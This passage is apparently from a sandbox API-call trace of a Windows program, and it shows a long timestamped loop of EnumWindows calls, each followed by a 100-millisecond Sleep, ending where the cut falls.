[0190.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0190.924] Sleep (dwMilliseconds=0x64) [0191.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.014] Sleep (dwMilliseconds=0x64) [0191.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.063] Sleep (dwMilliseconds=0x64) [0191.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.133] Sleep (dwMilliseconds=0x64) [0191.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.209] Sleep (dwMilliseconds=0x64) [0191.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.213] Sleep (dwMilliseconds=0x64) [0191.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.253] Sleep (dwMilliseconds=0x64) [0191.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.309] Sleep (dwMilliseconds=0x64) [0191.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.407] Sleep (dwMilliseconds=0x64) [0191.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.422] Sleep (dwMilliseconds=0x64) [0191.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.424] Sleep (dwMilliseconds=0x64) [0191.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.427] Sleep (dwMilliseconds=0x64) [0191.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.429] Sleep (dwMilliseconds=0x64) [0191.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.431] Sleep (dwMilliseconds=0x64) [0191.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.434] Sleep (dwMilliseconds=0x64) [0191.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.436] Sleep (dwMilliseconds=0x64) [0191.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.437] Sleep (dwMilliseconds=0x64) [0191.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.455] Sleep (dwMilliseconds=0x64) [0191.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.628] Sleep (dwMilliseconds=0x64) [0191.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.700] Sleep (dwMilliseconds=0x64) [0191.773] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.773] Sleep (dwMilliseconds=0x64) [0191.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.828] Sleep (dwMilliseconds=0x64) [0191.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.873] Sleep (dwMilliseconds=0x64) [0191.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0191.985] Sleep (dwMilliseconds=0x64) [0192.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.040] Sleep (dwMilliseconds=0x64) [0192.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.081] Sleep (dwMilliseconds=0x64) [0192.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.151] Sleep (dwMilliseconds=0x64) [0192.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.255] Sleep (dwMilliseconds=0x64) [0192.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.256] Sleep (dwMilliseconds=0x64) [0192.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.258] Sleep (dwMilliseconds=0x64) [0192.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.259] Sleep (dwMilliseconds=0x64) [0192.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.271] Sleep (dwMilliseconds=0x64) [0192.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.355] Sleep (dwMilliseconds=0x64) [0192.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.384] Sleep (dwMilliseconds=0x64) [0192.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.434] Sleep (dwMilliseconds=0x64) [0192.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.587] Sleep (dwMilliseconds=0x64) [0192.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.624] Sleep (dwMilliseconds=0x64) [0192.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0192.755] Sleep (dwMilliseconds=0x64) [0193.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.112] Sleep (dwMilliseconds=0x64) [0193.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.311] Sleep (dwMilliseconds=0x64) [0193.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.312] Sleep (dwMilliseconds=0x64) [0193.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.314] Sleep (dwMilliseconds=0x64) [0193.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.315] Sleep (dwMilliseconds=0x64) [0193.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.317] Sleep (dwMilliseconds=0x64) [0193.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.318] Sleep (dwMilliseconds=0x64) [0193.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.320] Sleep (dwMilliseconds=0x64) [0193.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.322] Sleep (dwMilliseconds=0x64) [0193.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.324] Sleep (dwMilliseconds=0x64) [0193.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.325] Sleep (dwMilliseconds=0x64) [0193.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.339] Sleep (dwMilliseconds=0x64) [0193.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.340] Sleep (dwMilliseconds=0x64) [0193.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.342] Sleep (dwMilliseconds=0x64) [0193.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.344] Sleep (dwMilliseconds=0x64) [0193.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.346] Sleep (dwMilliseconds=0x64) [0193.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.349] Sleep (dwMilliseconds=0x64) [0193.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.361] Sleep (dwMilliseconds=0x64) [0193.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.362] Sleep (dwMilliseconds=0x64) [0193.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.364] Sleep (dwMilliseconds=0x64) [0193.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.367] Sleep (dwMilliseconds=0x64) [0193.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.371] Sleep (dwMilliseconds=0x64) [0193.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.373] Sleep (dwMilliseconds=0x64) [0193.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.374] Sleep (dwMilliseconds=0x64) [0193.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.377] Sleep (dwMilliseconds=0x64) [0193.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.379] Sleep (dwMilliseconds=0x64) [0193.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.380] Sleep (dwMilliseconds=0x64) [0193.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.382] Sleep (dwMilliseconds=0x64) [0193.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.384] Sleep (dwMilliseconds=0x64) [0193.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.385] Sleep (dwMilliseconds=0x64) [0193.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.387] Sleep (dwMilliseconds=0x64) [0193.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.389] Sleep (dwMilliseconds=0x64) [0193.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.391] Sleep (dwMilliseconds=0x64) [0193.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.393] Sleep (dwMilliseconds=0x64) [0193.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.396] Sleep (dwMilliseconds=0x64) [0193.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.398] Sleep (dwMilliseconds=0x64) [0193.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.400] Sleep (dwMilliseconds=0x64) [0193.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.401] Sleep (dwMilliseconds=0x64) [0193.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.403] Sleep (dwMilliseconds=0x64) [0193.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.405] Sleep (dwMilliseconds=0x64) [0193.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.407] Sleep (dwMilliseconds=0x64) [0193.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.408] Sleep (dwMilliseconds=0x64) [0193.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.410] Sleep (dwMilliseconds=0x64) [0193.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.412] Sleep (dwMilliseconds=0x64) [0193.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.413] Sleep (dwMilliseconds=0x64) [0193.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.419] Sleep (dwMilliseconds=0x64) [0193.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.420] Sleep (dwMilliseconds=0x64) [0193.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.422] Sleep (dwMilliseconds=0x64) [0193.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.424] Sleep (dwMilliseconds=0x64) [0193.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.425] Sleep (dwMilliseconds=0x64) [0193.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.427] Sleep (dwMilliseconds=0x64) [0193.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.428] Sleep (dwMilliseconds=0x64) [0193.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.430] Sleep (dwMilliseconds=0x64) [0193.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.431] Sleep (dwMilliseconds=0x64) [0193.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.433] Sleep (dwMilliseconds=0x64) [0193.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.435] Sleep (dwMilliseconds=0x64) [0193.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.437] Sleep (dwMilliseconds=0x64) [0193.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.439] Sleep (dwMilliseconds=0x64) [0193.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.441] Sleep (dwMilliseconds=0x64) [0193.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.442] Sleep (dwMilliseconds=0x64) [0193.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.444] Sleep (dwMilliseconds=0x64) [0193.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.445] Sleep (dwMilliseconds=0x64) [0193.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.447] Sleep (dwMilliseconds=0x64) [0193.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.448] Sleep (dwMilliseconds=0x64) [0193.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.451] Sleep (dwMilliseconds=0x64) [0193.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.452] Sleep (dwMilliseconds=0x64) [0193.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.454] Sleep (dwMilliseconds=0x64) [0193.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.456] Sleep (dwMilliseconds=0x64) [0193.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.458] Sleep (dwMilliseconds=0x64) [0193.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.460] Sleep (dwMilliseconds=0x64) [0193.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.463] Sleep (dwMilliseconds=0x64) [0193.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.465] Sleep (dwMilliseconds=0x64) [0193.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.545] Sleep (dwMilliseconds=0x64) [0193.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.547] Sleep (dwMilliseconds=0x64) [0193.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.549] Sleep (dwMilliseconds=0x64) [0193.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.551] Sleep (dwMilliseconds=0x64) [0193.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.554] Sleep (dwMilliseconds=0x64) [0193.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.556] Sleep (dwMilliseconds=0x64) [0193.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.558] Sleep (dwMilliseconds=0x64) [0193.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.561] Sleep (dwMilliseconds=0x64) [0193.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.563] Sleep (dwMilliseconds=0x64) [0193.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.564] Sleep (dwMilliseconds=0x64) [0193.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.566] Sleep (dwMilliseconds=0x64) [0193.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.567] Sleep (dwMilliseconds=0x64) [0193.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.570] Sleep (dwMilliseconds=0x64) [0193.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.610] Sleep (dwMilliseconds=0x64) [0193.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.683] Sleep (dwMilliseconds=0x64) [0193.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.688] Sleep (dwMilliseconds=0x64) [0193.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.694] Sleep (dwMilliseconds=0x64) [0193.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.696] Sleep (dwMilliseconds=0x64) [0193.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.698] Sleep (dwMilliseconds=0x64) [0193.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.699] Sleep (dwMilliseconds=0x64) [0193.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.701] Sleep (dwMilliseconds=0x64) [0193.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.703] Sleep (dwMilliseconds=0x64) [0193.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.704] Sleep (dwMilliseconds=0x64) [0193.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.706] Sleep (dwMilliseconds=0x64) [0193.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.707] Sleep (dwMilliseconds=0x64) [0193.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.709] Sleep (dwMilliseconds=0x64) [0193.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.710] Sleep (dwMilliseconds=0x64) [0193.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.712] Sleep (dwMilliseconds=0x64) [0193.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.760] Sleep (dwMilliseconds=0x64) [0193.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.823] Sleep (dwMilliseconds=0x64) [0193.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.824] Sleep (dwMilliseconds=0x64) [0193.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.826] Sleep (dwMilliseconds=0x64) [0193.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.827] Sleep (dwMilliseconds=0x64) [0193.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.830] Sleep (dwMilliseconds=0x64) [0193.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.832] Sleep (dwMilliseconds=0x64) [0193.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.834] Sleep (dwMilliseconds=0x64) [0193.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.835] Sleep (dwMilliseconds=0x64) [0193.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.836] Sleep (dwMilliseconds=0x64) [0193.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.839] Sleep (dwMilliseconds=0x64) [0193.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.840] Sleep (dwMilliseconds=0x64) [0193.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.842] Sleep (dwMilliseconds=0x64) [0193.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.843] Sleep (dwMilliseconds=0x64) [0193.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.845] Sleep (dwMilliseconds=0x64) [0193.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.846] Sleep (dwMilliseconds=0x64) [0193.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.848] Sleep (dwMilliseconds=0x64) [0193.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.849] Sleep (dwMilliseconds=0x64) [0193.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.851] Sleep (dwMilliseconds=0x64) [0193.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.854] Sleep (dwMilliseconds=0x64) [0193.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.882] Sleep (dwMilliseconds=0x64) [0193.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.972] Sleep (dwMilliseconds=0x64) [0193.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.973] Sleep (dwMilliseconds=0x64) [0193.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.977] Sleep (dwMilliseconds=0x64) [0193.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.978] Sleep (dwMilliseconds=0x64) [0193.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.980] Sleep (dwMilliseconds=0x64) [0193.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.982] Sleep (dwMilliseconds=0x64) [0193.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.985] Sleep (dwMilliseconds=0x64) [0193.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.987] Sleep (dwMilliseconds=0x64) [0193.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.989] Sleep (dwMilliseconds=0x64) [0193.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.991] Sleep (dwMilliseconds=0x64) [0193.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.992] Sleep (dwMilliseconds=0x64) [0193.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.994] Sleep (dwMilliseconds=0x64) [0193.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.995] Sleep (dwMilliseconds=0x64) [0193.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.997] Sleep (dwMilliseconds=0x64) [0193.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0193.998] Sleep (dwMilliseconds=0x64) [0194.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0194.000] Sleep (dwMilliseconds=0x64) [0194.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0194.006] Sleep (dwMilliseconds=0x64) [0194.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0194.089] Sleep (dwMilliseconds=0x64) [0194.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.045] Sleep (dwMilliseconds=0x64) [0195.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.110] Sleep (dwMilliseconds=0x64) [0195.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.153] Sleep (dwMilliseconds=0x64) [0195.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.154] Sleep (dwMilliseconds=0x64) [0195.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.156] Sleep (dwMilliseconds=0x64) [0195.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.158] Sleep (dwMilliseconds=0x64) [0195.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.159] Sleep (dwMilliseconds=0x64) [0195.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.161] Sleep (dwMilliseconds=0x64) [0195.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.166] Sleep (dwMilliseconds=0x64) [0195.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.171] Sleep (dwMilliseconds=0x64) [0195.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.173] Sleep (dwMilliseconds=0x64) [0195.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.174] Sleep (dwMilliseconds=0x64) [0195.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.178] Sleep (dwMilliseconds=0x64) [0195.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.182] Sleep (dwMilliseconds=0x64) [0195.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.225] Sleep (dwMilliseconds=0x64) [0195.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.291] Sleep (dwMilliseconds=0x64) [0195.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.293] Sleep (dwMilliseconds=0x64) [0195.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.294] Sleep (dwMilliseconds=0x64) [0195.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.296] Sleep (dwMilliseconds=0x64) [0195.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.388] Sleep (dwMilliseconds=0x64) [0195.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.414] Sleep (dwMilliseconds=0x64) [0195.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.617] Sleep (dwMilliseconds=0x64) [0195.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.659] Sleep (dwMilliseconds=0x64) [0195.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.760] Sleep (dwMilliseconds=0x64) [0195.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.762] Sleep (dwMilliseconds=0x64) [0195.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.764] Sleep (dwMilliseconds=0x64) [0195.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.765] Sleep (dwMilliseconds=0x64) [0195.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.767] Sleep (dwMilliseconds=0x64) [0195.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.768] Sleep (dwMilliseconds=0x64) [0195.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.770] Sleep (dwMilliseconds=0x64) [0195.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.772] Sleep (dwMilliseconds=0x64) [0195.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.774] Sleep (dwMilliseconds=0x64) [0195.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.776] Sleep (dwMilliseconds=0x64) [0195.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.777] Sleep (dwMilliseconds=0x64) [0195.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.779] Sleep (dwMilliseconds=0x64) [0195.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.780] Sleep (dwMilliseconds=0x64) [0195.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.782] Sleep (dwMilliseconds=0x64) [0195.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.784] Sleep (dwMilliseconds=0x64) [0195.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.786] Sleep (dwMilliseconds=0x64) [0195.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.789] Sleep (dwMilliseconds=0x64) [0195.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.808] Sleep (dwMilliseconds=0x64) [0195.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.905] Sleep (dwMilliseconds=0x64) [0195.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.907] Sleep (dwMilliseconds=0x64) [0195.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.909] Sleep (dwMilliseconds=0x64) [0195.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.910] Sleep (dwMilliseconds=0x64) [0195.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.912] Sleep (dwMilliseconds=0x64) [0195.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.913] Sleep (dwMilliseconds=0x64) [0195.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.915] Sleep (dwMilliseconds=0x64) [0195.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.916] Sleep (dwMilliseconds=0x64) [0195.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.918] Sleep (dwMilliseconds=0x64) [0195.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.919] Sleep (dwMilliseconds=0x64) [0195.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.921] Sleep (dwMilliseconds=0x64) [0195.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.922] Sleep (dwMilliseconds=0x64) [0195.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.924] Sleep (dwMilliseconds=0x64) [0195.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.925] Sleep (dwMilliseconds=0x64) [0195.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.929] Sleep (dwMilliseconds=0x64) [0195.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.931] Sleep (dwMilliseconds=0x64) [0195.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.932] Sleep (dwMilliseconds=0x64) [0195.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.934] Sleep (dwMilliseconds=0x64) [0195.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0195.942] Sleep (dwMilliseconds=0x64) [0196.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.025] Sleep (dwMilliseconds=0x64) [0196.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.042] Sleep (dwMilliseconds=0x64) [0196.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.044] Sleep (dwMilliseconds=0x64) [0196.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.049] Sleep (dwMilliseconds=0x64) [0196.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0196.050] Sleep 